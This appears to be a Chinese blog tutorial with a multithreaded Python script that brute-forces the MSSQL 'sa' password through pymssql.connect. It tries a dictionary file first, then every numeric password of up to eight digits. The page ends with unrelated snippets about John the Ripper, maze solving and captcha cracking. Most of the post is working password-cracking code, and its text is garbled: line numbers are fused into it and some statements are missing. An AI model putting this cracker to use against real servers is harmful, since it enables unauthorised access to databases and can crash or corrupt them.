在用python連線mssql資料庫的時候,通常會使用pymssql模板中的connect函式,格式如下:
connect(server,user,password,database)正常情況下,如果輸入正確的server,user,password和database引數,該函式會返回乙個資料庫連線物件,而輸入的引數是錯誤的資訊時,則會報錯,並返回各種錯誤提示。help文件的函式介紹:
connect(...)
constructor for creating a connection to the database. returns a
connection object.
所以倘若使用迴圈語句,將所有可能的密碼字串傳遞給connect函式,並配合try...except...就可以達到破解mssql乙個指定賬號的密碼的目的了。
1遍歷所有可能的密碼,既不現實也太花時間。defcracker(server,pswd_list):
2for pswd in
pswd_list:
3try
:4 conn=pymssql.connect(server,'
sa',str(pswd),database='
master')
5print(u"
伺服器%s 賬號sa的密碼為 : %s\n
" %(server,pswd))
6conn.close()
7break
8except:9
continue
所以這裡考慮的方案是
先嘗試網路上流行使用的各類常用和簡單的密碼。
1乙個簡單的方案就是使用range(1,100000000),將1到100000000間所有的數值作為密碼就行嘗試。defget_pwlist():
2 pwlist =
3 with open('
passwddic.txt
','r
') as f:
4for line in
f.readlines():
5 password = line.strip('\n'
)67return pwlist
雖然目前縮小的密碼樣本空間,但是通過迴圈遍歷這些密碼還是要花費太多的時間。
所以這裡需要利用模板threading使用多執行緒同時測試這些密碼,大幅縮減遍歷所有密碼所需時間。這裡需要解決兩個問題:一方面,我們需要把密碼列表根據分配的執行緒數平分給各個執行緒。另一方面,需要設定乙個變數tag,初始設定成false,當乙個執行緒找到正確密碼的時候將該變數更改為true,這樣其他的執行緒就可以根據這個變數提前結束執行,不再做不必要的測試。
全部的**如下:
1執行結果如下:#!/usr/bin/evn python2#
-*- coding:utf-8 -*-
3'''
4created on 2023年11月19日56
@author: jinfeng
7'''89
10from threading import
thread
11import
time
12import
os13
import
pymssql
1415
16def
cracker(server,pswd_list,no):
17global
tag18
19print(u"
no.%s號執行緒已開始執行,對%d個常用密碼進行測試 !
" %(no,len(pswd_list)))
20for pswd in
pswd_list:
21if
nottag:
22try
:23 conn=pymssql.connect(server,'
sa',str(pswd),database='
master')
24print(u"
no.%s號執行緒執行結束 !\n 伺服器%s 賬號sa的密碼為 : %s\n
" %(no,server,pswd))
25 tag =true
26conn.close()
27break
28except:29
continue
30else:31
break
3233
#print(u"no.%s號執行緒執行結束 !" % no)
3435
36def
get_pwlist():
37 pwlist =
38 with open('
passwddic.txt
','r
') as f:
39for line in
f.readlines():
40 password = line.strip('\n'
)4142return
pwlist
4344
defmain():
45global
tag46 tag =false
47 server = '
127.0.0.1
'48 num_thread = 10
49 time_start =time.time()
50 pwlist =get_pwlist()
51 step = len(pwlist)//num_thread+1
52for n in
range(num_thread):
53 t1 = thread(target = cracker,args = (server,pwlist[step*n:step*n+step],str(n+1),))
54t1.start()
55t1.join()
5657
ifnot
tag:
58print(u'
密碼字典測試完畢,未找到匹配密碼,將遍歷測試8位以內所有數字密碼!')
59for m in range(10):
60 t2 = thread(target = cracker,args = (server,range(m*10000000,(m+1)*10000000),str(m+1)+'+'
,))61
t2.start()
62t2.join()
63 time_end =time.time()
64 time_use = time_end -time_start
65print(u'
用時 %d時%d分%d秒
' % (time_use//3600,time_use%3600//60,time_use%60))
6667
68if
__name__ == "
__main__":
69 main()
警告:高密度頻繁訪問mssql的資料庫,有可能讓資料庫的主服務崩潰(master資料庫檔案損壞),所以最好提前備份好資料庫中的系統資料庫(先停止mssql主服務,備份master.mdf和mastlog.ldf兩個檔案)。系統資料庫崩潰後,如下圖,錯誤**3417。否則只就能從其他地方複製master.mdf和mastlog.ldf來替換本地損壞檔案。
利用John the Ripper破解密碼
john the ripper是乙個快速的密碼破解工具,用於在已知密文的情況下嘗試破解出明文,支援目前大多數的加密演算法,如des md4 md5等。它支援多種不同型別的系統架構,包括unix linux windows dos模式 beos和openvms,主要目的是破解不夠牢固的unix lin...
利用棧來破解迷宮問題
假設當前位置的初值為入口位置 do else if 棧不空並且四周還能走 while 棧不空 如下 include consts.h typedef struct selemtype int top 1 selemtype q 100 int map 10 10 int foot 200 2 int...
利用canvas破解簡單驗證碼
敝校的教務管理系統 貌似不止我們學校用呢 一到選課時間伺服器各種崩不解釋,有時為了選個課就要反覆輸入驗證碼,一想到千千萬萬的大學生把時間浪費在輸入驗證碼上面,我就覺得,我有義務拯救一下人類。搜了一下,看到這篇文章,3年前的文章了。我參考了前半部分,借助tampermonkey這個外掛程式,大概實現了...